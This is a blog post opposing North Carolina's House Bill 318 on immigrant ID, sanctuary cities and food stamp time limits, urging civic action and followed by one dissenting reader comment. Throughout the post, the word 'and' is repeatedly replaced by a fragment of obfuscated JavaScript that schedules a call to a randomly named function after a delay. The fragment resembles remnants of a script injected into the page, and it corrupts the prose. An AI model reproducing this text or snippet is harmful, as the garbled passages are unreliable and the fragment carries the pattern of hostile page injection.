New NC Law Punishes Immigrants

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>>Inmate woman immigrant latina momThis week Governor Pat McCrory signed into law a bill that will limit access to food stamps for more than 100,00 people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will make life more difficult andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dangerous for immigrants.

Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andably, I’m a bit peeved. 

We elect our officials so that they can represent andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and support every single person in the state. Lawmakers aren’t just there for folks who vote for them, or fat cats with deep pockets. Once they sign the oath of office, they serve all of us, politics be damned.

But that’s not how things have played out. >>House Bill 318 is called the ‘Protect NC Workers Act.’ It does anything but. First, it eliminates certain forms of ID that immigrants use to find work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and identify themselves in their communities.

Second, it ends the practice of sanctuary cities — places where undocumented workers do not face immediate deportation if arrested or detained.

Finally, it removes >>a food stamp provision that allows workers in rural areas with high unemployment to receive benefits longer than three months.

To be frank, I can’t understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the reasoning behind these measures. Surely it benefits us to allow those searching for work to continue to eat. And I can’t imagine why we’d want to take away immigrants’ ability to find employment, rent an apartment, or enroll their children in schools.

It feels punitive, as if McCrory andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the lawmakers who drafted this bill, want to punish those with fewer resources than those who live in large cities, have higher education, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and access to more resources. Furthermore, it feels clear that laws like this are not in the best interests of all citizens. Why make immigrants feel ostracized from our communities, or unsafe?

Election season for many of these lawmakers isn’t until next year. So what can we do in the meantime, when it becomes clear those in the highest offices aren’t representing us?

  • Make some noise. Social media is king. So many people aren’t informed about the issues, or think they don’t matter. Share your viewpoints on Twitter or Facebook. Talk about why these measures bother you or why you find them unfair.
  • Write it up. Newspapers might feel like a dying medium, but letters to the editor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and op-eds still count for a lot. Write 200-800 words about why you don’t feel represented. Spotlight how this affects you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your community. Ask a friend to read your letter before you send it in. You’d be surprised how many lawmakers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other important figures still read the editorial section.
  • Refuse to be ignored. Make an appointment with your state representative to sit down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and share your views. They work for you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and meeting with constituents is a huge part of their job. Don’t be intimidated: just speak your truth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hopefully they will listen.
  • Join a movement. >>Women AdvaNCe’s Advance teams work together to affect changes in their communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on the statewide stage. Connect with your local team, or find some other non-profit to join forces with. Rally, shout, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let it be known you will not back down.

How do you handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle it when your representatives don’t act in your best interests? Aside from voting, what do you think is the best way to be heard?




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  1. Chris Adams

    So what you’re saying is that lawmakers should protect and give out hand-outs to the criminals (those who committed a crime, broke the law, to be here) and instead punish those who are responsible and law-abiding? I’m sure you don’t realize it at the moment, but these law makers also represent those of us who don’t agree with people breaking the law to get into this country.


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